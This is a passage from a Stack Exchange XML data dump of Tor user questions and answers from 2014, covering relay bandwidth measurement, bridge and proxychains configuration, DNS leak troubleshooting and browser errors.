BY-SA 3.0" />
  <row Id="4040" PostTypeId="2" ParentId="3813" CreationDate="2014-09-06T21:08:56.267" Score="2" Body="&lt;p&gt;No it does not. (..and neither does the OR traffic.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The idea that '&lt;em&gt;traffic counts towards consensus weight&lt;/em&gt;' is not how it works. As I understand (from the linked document), the bandwidth is &lt;em&gt;measured&lt;/em&gt; by building a circuit through the relay and transferring a file through it (and measuring how long that takes). So the consensus weight is not determined any &lt;em&gt;amount of traffic&lt;/em&gt; (neither &lt;em&gt;OR&lt;/em&gt; nor &lt;em&gt;DIR&lt;/em&gt;) that the relay reports, but by periodic bandwidth measurements from Bandwidth Authorities.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See &lt;a href=&quot;https://gitweb.torproject.org/torflow.git/blob_plain/HEAD:/NetworkScanners/BwAuthority/README.spec.txt&quot; rel=&quot;nofollow&quot;&gt;Bandwidth Scanner specification&lt;/a&gt; especially section 1.4, 1.5&lt;/p&gt;&#xA;" OwnerUserId="350" LastActivityDate="2014-09-06T21:08:56.267" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="4041" PostTypeId="2" ParentId="2189" CreationDate="2014-09-06T23:39:59.040" Score="2" Body="&lt;p&gt;I had exactly the same problem. I found out that it has not actually anything to do with another instance of Firefox (I don't even have it installed) it turns out that it has something to do with the files being locked when they are in you applications folder. To fix the problem just move the application into another folder (downloads or documents) and then open from there.&lt;/p&gt;&#xA;" OwnerUserId="3574" LastEditorUserId="114" LastEditDate="2014-09-08T13:10:34.933" LastActivityDate="2014-09-08T13:10:34.933" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4042" PostTypeId="1" CreationDate="2014-09-07T00:19:20.993" Score="5" ViewCount="1980" Body="&lt;p&gt;In particular I get &quot;Load Balancer Error: 429 Someone on your network is abusing this site with automated malicious software&quot; when connecting to torrentz.eu or any mirror site. If I connect via my usual browser, Aurora, I don't get the error but I would like to maximise my anonymity when browsing this or any other site. The fact I can connect using a non-Tor browser suggest a problem in the Tor network or the site itself accepting connections from the Tor network. This only started happening this week and I haven't changed anything on my network. I use 4 different OS's; Windows XP, 7, 8.1 and Ubuntu. I update Tor every time an update is posted. Error occurs on all OS's via Tor. Any suggestions on what is causing this would be appreciated? &lt;/p&gt;&#xA;" OwnerUserId="3575" LastEditorUserId="88" LastEditDate="2017-04-21T21:59:25.680" LastActivityDate="2017-04-21T21:59:25.680" Title="I get a load balance error 429 on a particular website" Tags="|windows|ubuntu|blocked-services|" AnswerCount="0" CommentCount="4" ClosedDate="2017-04-21T22:01:41.473" ContentLicense="CC BY-SA 3.0" />
  <row Id="4044" PostTypeId="1" CreationDate="2014-09-07T05:10:04.713" Score="2" ViewCount="1058" Body="&lt;p&gt;I looked at hiprivet's question &lt;a href=&quot;https://tor.stackexchange.com/questions/3515/tor-and-circuits&quot;&gt;Tor and circuits&lt;/a&gt;. I am running Debian mixed environment (testing, sid/unstable and experimental) and at least in the debian database there aren't any binaries named getinfo and circuit-status. Are there some binaries that need to be compiled or what ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Looking forward to know more. &lt;/p&gt;&#xA;" OwnerUserId="3547" LastEditorUserId="923" LastEditDate="2014-09-07T11:18:18.757" LastActivityDate="2014-09-07T16:17:37.580" Title="Where do you get 'getinfo' and 'circuit-status' from?" Tags="|tor-browser-bundle|linux|debian|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4045" PostTypeId="1" CreationDate="2014-09-07T06:14:51.113" Score="3" ViewCount="423" Body="&lt;p&gt;Hello my question to the community. Is there a directory of safe websites that starts in Tor? I used Tor long ago and there was a directory of safe websites that helped newbies explore the web under Tor but now I can't seem to find any way to explore the deep web. Help! &lt;/p&gt;&#xA;" OwnerUserId="3577" LastEditorUserId="88" LastEditDate="2015-02-04T22:20:04.240" LastActivityDate="2015-09-09T17:51:42.353" Title="Tor safe site directory" Tags="|onion-services|website|" AnswerCount="1" CommentCount="1" ClosedDate="2015-09-09T21:20:07.983" ContentLicense="CC BY-SA 3.0" />
  <row Id="4047" PostTypeId="1" CreationDate="2014-09-07T07:53:01.477" Score="3" ViewCount="177" Body="&lt;p&gt;I am running Tor via a PHP &lt;code&gt;exec()&lt;/code&gt; and therefore its instance and data directory will be owned by 'www-data'. Is this OK to do or is there a better way I should be doing this?&lt;/p&gt;&#xA;" OwnerUserId="3555" LastEditorUserId="923" LastEditDate="2014-09-07T11:07:36.283" LastActivityDate="2014-10-07T12:27:57.013" Title="Linux: Is it safe to have Tor run by the www-data user?" Tags="|linux|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4048" PostTypeId="2" ParentId="4032" CreationDate="2014-09-07T09:22:51.097" Score="1" Body="&lt;p&gt;Two ways:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;The &lt;strong&gt;more hard&lt;/strong&gt; way: install PRIVOXY and configure it to work as a 'transparent proxy' then let other machines on your LAN point the PRIVOXY ADDR. &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Simply way: let the program you use on other machines on the LAN and if the program permit proxy configuration, point to machine running tor server as SOCK5 port 9150, if you have not changed it on TOR server configuration. &#xA;I.E if your tor machine is 10.0.0.1 then let the browser, on an hypothetical 10.0.0.10, set proxy to 10.0.0.1:9150 using SOCK5 mode.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;That's it !&lt;/p&gt;&#xA;&#xA;&lt;p&gt;AnteGamissu&lt;/p&gt;&#xA;" OwnerUserId="1839" LastActivityDate="2014-09-07T09:22:51.097" CommentCount="4" CommunityOwnedDate="2014-09-07T09:22:51.097" ContentLicense="CC BY-SA 3.0" />
  <row Id="4049" PostTypeId="2" ParentId="4047" CreationDate="2014-09-07T11:35:06.647" Score="2" Body="&lt;p&gt;Supposing you're hosting other sites under the &lt;code&gt;www-data&lt;/code&gt; user, it is not a very safe configuration.&#xA;I'd suggest you deploy the PHP site via &lt;a href=&quot;https://en.wikipedia.org/wiki/FastCGI&quot; rel=&quot;nofollow&quot;&gt;FastCGI&lt;/a&gt; so that it runs under a dedicated user account. You can also consider using &lt;code&gt;sudo&lt;/code&gt; to launch the external command under different user (you'll need to configure &lt;code&gt;/etc/sudoers&lt;/code&gt; with &lt;code&gt;NOPASSWD&lt;/code&gt; switch for this particular command).&lt;/p&gt;&#xA;" OwnerUserId="1726" LastActivityDate="2014-09-07T11:35:06.647" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4050" PostTypeId="1" AcceptedAnswerId="4051" CreationDate="2014-09-07T12:47:40.520" Score="5" ViewCount="272" Body="&lt;p&gt;If you a ran a very slow relay, would you be contributing much to the network or would it not help very much?&lt;/p&gt;&#xA;" OwnerUserId="3580" LastActivityDate="2015-03-09T12:17:51.937" Title="Are slow relays useful for the network?" Tags="|relays|network-health|" AnswerCount="4" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4051" PostTypeId="2" ParentId="4050" CreationDate="2014-09-07T15:27:42.590" Score="6" Body="&lt;p&gt;Every relay is important for the diversity of the network. The anonymity is the direct result of diversity of the network. Diversity of number of relays, diversity of number users, diversity of nature of network usage, diversity of number of directory authorities, etc. Without the diversity you may as well forget about anonymity. One can make a mathematical hypothesis that as the number of relays go toward infinity (read very large number of relays here) the anonymity go toward reality (read going toward perfection here). This is also true about diversity of number of users, diversity of nature of network usage, diversity of number of directory authorities, etc. &lt;strong&gt;&lt;em&gt;To put it clearly, The large number of slow relays is much preferable to small number of fast relays in the sense of anonymity.&lt;/em&gt;&lt;/strong&gt; The reason is that more distributed the network is the more difficult it become to totally control and snoop on it. In practical terms one might not be able to reach infinity, but going toward infinity should be the goal (read steadily increasing the number of relays). In other word one can never become perfect but pursuit of perfection should be the goal. When one talks about slow relays, one should understand that slow is a relative term and as I understand it in practical terms Tor advise a minimum bandwidth requirement (250KB in, 250KB out) that relay should provide. This should be enough, to handle the network practically. No additional restriction is necessary or desired.&lt;/p&gt;&#xA;" OwnerUserId="923" LastEditorUserId="107" LastEditDate="2015-03-09T12:17:51.937" LastActivityDate="2015-03-09T12:17:51.937" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="4052" PostTypeId="2" ParentId="4044" CreationDate="2014-09-07T16:17:37.580" Score="2" Body="&lt;p&gt;If your Tor listens to a &lt;strong&gt;Control Port&lt;/strong&gt; you can connect to it (using telnet or netcat or so) and enter commands to control / configure / interrogate it. &lt;a href=&quot;https://www.torproject.org/projects/arm.html.en&quot; rel=&quot;nofollow&quot;&gt;Arm&lt;/a&gt; also has a CLI for this (on page 5).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See &lt;a href=&quot;https://www.torproject.org/docs/tor-manual.html.en#ControlPort&quot; rel=&quot;nofollow&quot;&gt;the Tor manual&lt;/a&gt; on listening and connecting to a control port.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See &lt;a href=&quot;https://gitweb.torproject.org/torspec.git?a=blob_plain;hb=HEAD;f=control-spec.txt&quot; rel=&quot;nofollow&quot;&gt;Tor Control protocol spec&lt;/a&gt; on what you can do/ask through this interface.&lt;/p&gt;&#xA;" OwnerUserId="350" LastActivityDate="2014-09-07T16:17:37.580" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4053" PostTypeId="2" ParentId="4028" CreationDate="2014-09-07T18:58:52.437" Score="3" Body="&lt;p&gt;Try with:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;ClientTransportPlugin obfs3 exec /usr/bin/obfsproxy --managed&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;bridge 19*.&lt;strong&gt;&lt;em&gt;.&lt;/em&gt;&lt;/strong&gt;.&lt;strong&gt;&lt;em&gt;:1*&lt;/em&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerDisplayName="user3524" LastActivityDate="2014-09-07T18:58:52.437" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="4055" PostTypeId="2" ParentId="1854" CreationDate="2014-09-07T19:22:56.890" Score="1" Body="&lt;p&gt;With &lt;a href=&quot;https://www.torproject.org/projects/arm.html.en&quot; rel=&quot;nofollow&quot;&gt;Arm&lt;/a&gt; you should see the inbound connections. That number represents the number of incoming connections and therefore it represents also the number of circuits.&lt;/p&gt;&#xA;" OwnerDisplayName="user3524" LastEditorUserId="114" LastEditDate="2014-09-08T13:07:15.440" LastActivityDate="2014-09-08T13:07:15.440" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4056" PostTypeId="2" ParentId="4035" CreationDate="2014-09-07T21:03:39.590" Score="-1" Body="&lt;p&gt;If you are properly resolving dns thats not the source of the problem. Have you added rules to the iptables to forward dns requests coming from the wifi network to port 9053 instead of 53? If not you could be leaking dns requests over the clearnet. Not all versions of openwrt allow port forwarding by iptables by default, usually you will need to install a few packages like iptables-mod-nat and iptables-mod-nat extra, but not if you are using a version of openwrt newer than 12 as its built in. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The first thing I'd do to test is make an example firewall rule to forward another port, if you are using 22 for ssh for example add a rule that redirects tcp traffic from the wifi to port 99. Restart the firewall and then see if you cn ssh in using that port. If it dosent work, you know it is a firewall issue and iptables is probably not forwarding the other ports properly either.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If that is wokring properly the next thing you would test is tor, try a telnet conenction from the wifi to port 9040 to see if that is responding.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Honestly I have found it is usually easier to torify the whole LAN, since it is by default a bridge to the wifi. Shut off the routers native dns server in dnsmasq and then just configure your torrc to listen on port 53 instead. That saves you one firewall rule and guarantees there is no dns leaks. &lt;/p&gt;&#xA;" OwnerUserId="3338" LastActivityDate="2014-09-07T21:03:39.590" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4059" PostTypeId="2" ParentId="4029" CreationDate="2014-09-08T07:21:12.277" Score="3" Body="&lt;p&gt;I came across this and think that best describes the situation &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.propublica.org/article/meet-the-online-tracking-device-that-is-virtually-impossible-to-block&quot; rel=&quot;nofollow&quot;&gt;https://www.propublica.org/article/meet-the-online-tracking-device-that-is-virtually-impossible-to-block&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This was from &lt;a href=&quot;https://lists.torproject.org/pipermail/tor-talk/2014-July/033969.html&quot; rel=&quot;nofollow&quot;&gt;https://lists.torproject.org/pipermail/tor-talk/2014-July/033969.html&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3547" LastActivityDate="2014-09-08T07:21:12.277" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4060" PostTypeId="1" CreationDate="2014-09-08T07:39:27.203" Score="3" ViewCount="146" Body="&lt;p&gt;I accidentally changed the system clock a few months into the future in the middle of a Tor browser session.  The browser stopped responding, but would the failed attempts to connect to pages before I realized what was going on reveal my identity?&lt;/p&gt;&#xA;" OwnerUserId="3585" LastEditorUserId="88" LastEditDate="2014-09-08T08:05:05.203" LastActivityDate="2014-11-07T09:00:08.117" Title="Accidentally changed system clock while browsing - Tor stopped connecting, but was my identity revealed?" Tags="|anonymity|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4061" PostTypeId="2" ParentId="4060" CreationDate="2014-09-08T08:06:02.440" Score="1" Body="&lt;p&gt;No, this does not reveal your identity.&#xA;It does as you say - prevent Tor from connecting, since it needs the clock to be set correctly to your timezone.&lt;/p&gt;&#xA;" OwnerUserId="112" LastActivityDate="2014-09-08T08:06:02.440" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4062" PostTypeId="1" CreationDate="2014-09-08T11:32:11.997" Score="3" ViewCount="17883" Body="&lt;p&gt;I am currently using the Tails OS and am looking to access websites that don't play friendly with Tor by using the configuration Tor &gt; socks5 proxy.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;According to the &lt;a href=&quot;https://tails.boum.org/forum/How_do_you_chain_a_proxy_after_TOR___63__/&quot; rel=&quot;nofollow&quot;&gt;Tails support&lt;/a&gt; the recommended method is to create a SSH tunnel and reconfigure the firewall and browser appropriately. Using SSH I am able to do this perfectly fine, but would like to have access to a far wider pool of publicly available proxies and to this end, am looking to configure proxychains appropriately. The previous question &lt;a href=&quot;https://tor.stackexchange.com/questions/1229/how-to-chain-proxy-after-tor/&quot;&gt;How to chain proxy after Tor&lt;/a&gt;&#xA;relates to proxychains and Tor generally, whereas my problem is Tails specific.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Relevant settings of /etc/proxychains.conf are:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;proxy_dns&lt;br&gt;&#xA;  socks5  127.0.0.1 9151&lt;br&gt;&#xA;  socks5 163.122.18.196 3177    (NB: This IP address has been modified)&lt;br&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Testing with &lt;em&gt;proxychains curl ipecho.net/plain --socks5-hostname 163.122.18.196:3177&lt;/em&gt; shows that proxychains is working fine:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;ProxyChains-3.1 (&lt;a href=&quot;http://proxychains.sf.net&quot; rel=&quot;nofollow&quot;&gt;http://proxychains.sf.net&lt;/a&gt;)&lt;br&gt;&#xA;  |S-chain|-&amp;lt;&gt;-127.0.0.1:9151-&amp;lt;&gt;-163.122.18.196:3177-&amp;lt;&gt;&amp;lt;&gt;-163.122.18.196:3177-&amp;lt;&gt;&amp;lt;&gt;-OK&lt;br&gt;&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;163.122.18.196&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;However, running the browser with &lt;em&gt;proxychains iceweasel&lt;/em&gt; I'm running into problems. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;With default browser settings, I get my Tor IP address. When I manually reconfigure the proxy to point to 163.122.18.196:3177 I get the error message &quot;Proxy server is refusing connections&quot; along with the following error in /var/log/syslog:  &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Sep  6 11:06:10 localhost kernel: [ 1105.132959] Dropped outbound packet: IN= OUT=wlan0 SRC=192.168.1.3 DST=163.122.18.196 LEN=60 TOS=0x00 PREC=0x00 TTL=64 ID=31261 DF PROTO=TCP SPT=44153 DPT=3177 WINDOW=29200 RES=0x00 SYN URGP=0 UID=1000 GID=1000 &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;So for one reason or another, the firewall is blocking the connection for the browser, but allowing the curl command through. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Without having a full appreciation of the way that Tails is configured, I'm reluctant to mess with my settings blindly -- any suggestions?&lt;/p&gt;&#xA;" OwnerUserId="3542" LastEditorUserId="923" LastEditDate="2015-02-06T12:21:59.907" LastActivityDate="2015-02-06T12:21:59.907" Title="Tails OS: configuring proxychains for Tor &gt; socks5 proxy" Tags="|tails|socks|web-proxy|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4063" PostTypeId="2" ParentId="3508" CreationDate="2014-09-08T17:09:05.890" Score="1" Body="&lt;p&gt;You would probably have the best results using a separate dedicated tor proxy like the tor hardware router, or configuring your network settings on the kindle to use  tor on a dedicated machine somewhere else on your network via proxy.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The failure at the check.torproject.org site could be either dns or proxy settings, and even when it is configured correctly there is a chance your ip and other info could be leaked. If you really want to try orbot, it sounds like it would be worth it to try re-installing from scratch. &lt;/p&gt;&#xA;" OwnerUserId="3338" LastActivityDate="2014-09-08T17:09:05.890" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4064" PostTypeId="2" ParentId="4062" CreationDate="2014-09-08T17:46:36.450" Score="3" Body="&lt;p&gt;You should run &quot;proxychains iceweasel&quot; and then, in the iceweasel settings disable proxy settings because you &quot;manage&quot; the proxy with proxychains and so iceweasel doesn't have to do anything. Or if you did it all correctly, make sure that the proxy software of the 163.122.18.196 server is properly configured..... last but not least, make sure that proxychains do not change the chain, otherwise Tails will block the connection..&lt;/p&gt;&#xA;" OwnerDisplayName="user3524" LastEditorUserId="923" LastEditDate="2015-01-07T01:29:25.457" LastActivityDate="2015-01-07T01:29:25.457" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4066" PostTypeId="1" CreationDate="2014-09-09T00:04:46.740" Score="8" ViewCount="102" Body="&lt;p&gt;This should be impossible because of the layered encryption, but some documentation suggests that this can somehow be done.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From Section 5.6 [1] of tor's specification&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;When speaking v2 of the link protocol or later, clients MUST only send&#xA;    EXTEND cells inside RELAY_EARLY cells.  Clients SHOULD send the first ~8&#xA;    RELAY cells that are not targeted at the first hop of any circuit as&#xA;    RELAY_EARLY cells too, in order &lt;strong&gt;to partially conceal the circuit length&lt;/strong&gt;.&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;RELAY_EARLY&lt;/code&gt; cells were introduced to prevent arbitrary-length circuits to be established, as described in proposal 110 [2].&#xA;But even that one does not provide a reliable answer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So why 'partially conceal'? How could a middle-node of a circuit gain information about circuit's length?&#xA;Is there any more research about this available somewhere?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;[1] &lt;a href=&quot;https://gitweb.torproject.org/torspec.git/tree/tor-spec.txt#n1193&quot; rel=&quot;nofollow&quot;&gt;Section 5.6&lt;/a&gt; &#xA;[2] &lt;a href=&quot;https://gitweb.torproject.org/torspec.git/tree/proposals/110-avoid-infinite-circuits.txt#n44&quot; rel=&quot;nofollow&quot;&gt;Proposal 110&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3589" LastEditorUserId="923" LastEditDate="2015-01-09T18:18:29.520" LastActivityDate="2015-01-31T07:08:20.543" Title="Can intermediary nodes learn the length of a circuit?" Tags="|anonymity|circuit|onion-routing|attacks|protocol|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4068" PostTypeId="1" CreationDate="2014-09-09T14:49:26.603" Score="3" ViewCount="1987" Body="&lt;p&gt;My OS is Microsoft Windows 7, 64-bit and I obtained the following obfs3 bridges (IP addresses and fingerprints have been altered to protect the integrity of the real bridges):&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;obfs3 111.222.333.444:12345&#xA;  &lt;em&gt;9280121gh126257961997ac2f972c7d63989af8648&lt;/em&gt;&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;obfs3 555.666.777.888:67890 &lt;em&gt;k7m21653856p587e7da0zz0e5779c0ec7b33a7a6&lt;/em&gt;&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;obfs3 999.000.111.222:65432 &lt;em&gt;4st03902010r8x0yz4ec45229bc1c093006a24a4&lt;/em&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;When I enter custom bridges, do I have to include their respective fingerprints? that is, the 3 strings of alphanumeric characters that I have &lt;em&gt;italicized&lt;/em&gt;?&lt;/p&gt;&#xA;" OwnerUserId="3509" LastEditorUserId="923" LastEditDate="2014-09-10T07:50:18.430" LastActivityDate="2015-03-11T23:46:56.483" Title="How to add obfs3 bridges in Tor browser?" Tags="|bridge|pluggable-transports|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4069" PostTypeId="1" CreationDate="2014-09-09T18:36:34.890" Score="1" ViewCount="444" Body="&lt;ul&gt;&#xA;&lt;li&gt;could you, please, help me?&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I used to use Tor all the time for visiting &lt;a href=&quot;http://www.AirBnb.com&quot; rel=&quot;nofollow&quot;&gt;http://www.AirBnb.com&lt;/a&gt; - if felt much more safe that way because of all credit card payments for my bookings.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But now AirBnB updated their website - and with this new version using Tor seems not possible anymore. The new site simply doesn`t allow me even to log in my account.&#xA; (Check it yourself if you can!)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any solutions?..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can I overcome this by changing any of the Tor settings? &#xA;(I`m a noob, unfortunately)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you so much for your help! &lt;/p&gt;&#xA;" OwnerUserId="3595" LastEditorUserId="923" LastEditDate="2014-09-10T07:32:35.033" LastActivityDate="2014-10-12T05:11:12.193" Title="Could you, please, tell if I could use Tor in this specific case?" Tags="|tor-browser-bundle|anonymity|security|configuration|onion-routing|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="4070" PostTypeId="2" ParentId="4069" CreationDate="2014-09-09T18:52:52.860" Score="1" Body="&lt;p&gt;Can you not login because of a JavaScript issue, or are Tor exit nodes blocked? If its the latter, a VPN is the best solution for you. Get a cheap VPN (stay away from free ones) and give it a try.&lt;/p&gt;&#xA;" OwnerDisplayName="user3349" LastActivityDate="2014-09-09T18:52:52.860" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4071" PostTypeId="2" ParentId="3997" CreationDate="2014-09-09T19:36:53.403" Score="2" Body="&lt;p&gt;Yes, CapLoader can identify the Tor version of SSL, as we've demonstrated here:&#xA;&lt;a href=&quot;http://netresec.com/?b=13400BE&quot; rel=&quot;nofollow&quot;&gt;http://netresec.com/?b=13400BE&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &quot;TOR Packet Analysis&quot; report (linked by @Aurora) simply classifies traffic to TCP 9001 as Tor. However, Tor traffic usually runs on several other ports, like TCP 443.&#xA;CapLoader, on the other hand, does not rely on the TCP port number for the protocol identification.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We'd be happy to run a packet capture file through the commercial full version of CapLoader and share the output with you, if you can provide us with a PCAP file containing Tor traffic.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Additionally, if you'd like to share your PCAP publicly online (for example by posting it to &lt;a href=&quot;https://appliance.cloudshark.org/upload/&quot; rel=&quot;nofollow&quot;&gt;CloudShark&lt;/a&gt;) then we'd be happy to publicly share the CapLoader output in this StackExchange thread.&lt;/p&gt;&#xA;" OwnerUserId="3596" LastEditorUserId="923" LastEditDate="2014-09-10T07:36:19.870" LastActivityDate="2014-09-10T07:36:19.870" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4072" PostTypeId="2" ParentId="3997" CreationDate="2014-09-09T20:17:05.437" Score="0" Body="&lt;p&gt;&lt;em&gt;Note: This is not an answer to OP's post. I'm unable to post a comment because I don't have at least 50 reputation points.&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;To: netresec&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for letting us Tor users know about the product CapLoader.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But of what use is it to us, casual Tor users? (I've surfed to your website and it seems that your company's target market is corporate customers.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;To: Tor developers&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is a chance for you all to learn how to refine Tor in future versions in such a way that even CapLoader can't detect Tor in networks.&lt;/p&gt;&#xA;" OwnerUserId="3509" LastActivityDate="2014-09-09T20:17:05.437" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4073" PostTypeId="1" AcceptedAnswerId="4076" CreationDate="2014-09-10T06:33:14.410" Score="1" ViewCount="175" Body="&lt;p&gt;I am aware that a login to google or whatever other site will leave me &lt;em&gt;unmasked&lt;/em&gt; and destroys my anonymity. Yet I still would 'login' from the exit-nodes location, correct?&#xA;Can I trust Tor, when sending credentials? (e.g. may the exit-node be able to read the credentials or redirect me to another destination?)&lt;/p&gt;&#xA;" OwnerUserId="3554" LastEditorUserId="923" LastEditDate="2014-09-10T07:43:51.820" LastActivityDate="2014-09-10T08:26:11.350" Title="Trusting the Tor Browser Bundle with credentials" Tags="|tor-browser-bundle|exit-relays|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4074" PostTypeId="2" ParentId="3620" CreationDate="2014-09-10T07:11:22.033" Score="4" Body="&lt;p&gt;At the moment the meek packages are landing in debian so we can expect them to arrive in ubuntu too.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE&lt;/strong&gt;&lt;br&gt;&#xA;Previous info are not working fine anymore, it looks there is now a repository for debian unstable ... so I changed my previous answer with this one:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;1 Add Repository&lt;/strong&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://people.debian.org/~infinity0/apt/&quot; rel=&quot;nofollow&quot;&gt;Repository&lt;/a&gt; (info on the repository page).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;2. Install &lt;code&gt;meek-client&lt;/code&gt; package&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;sudo apt-get install meek-client&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;3. Update your tor configuration&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now edit you tor configuration file &lt;code&gt;/etc/tor/torrc&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;sudo gedit /etc/tor/torrc&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Add the meek plugin to it&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ClientTransportPlugin meek exec  /usr/bin/meek-client&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And some meek bridges:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Bridge meek 0.0.2.0:3 url=https://az668014.vo.msecnd.net/ front=ajax.aspnetcdn.com&#xA;Bridge meek 0.0.2.0:2 url=https://d2zfqthxsdq309.cloudfront.net/ front=a0.awsstatic.com&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3225" LastEditorUserId="3225" LastEditDate="2015-11-17T07:15:09.303" LastActivityDate="2015-11-17T07:15:09.303" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="4075" PostTypeId="1" CreationDate="2014-09-10T08:14:36.557" Score="1" ViewCount="53" Body="&lt;p&gt;I was using Firefox and had loads of bookmarks set up.&#xA;I install Tor expecting it to be an alternative browser but it has taken over all my browsing. Can I get my old browser 'as-was' back?&#xA;Thank you for any help.&lt;/p&gt;&#xA;" OwnerUserId="3597" LastEditorUserId="88" LastEditDate="2014-09-10T12:01:35.723" LastActivityDate="2014-12-09T18:02:41.793" Title="Where is my old Browser stuff?" Tags="|firefox|help|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
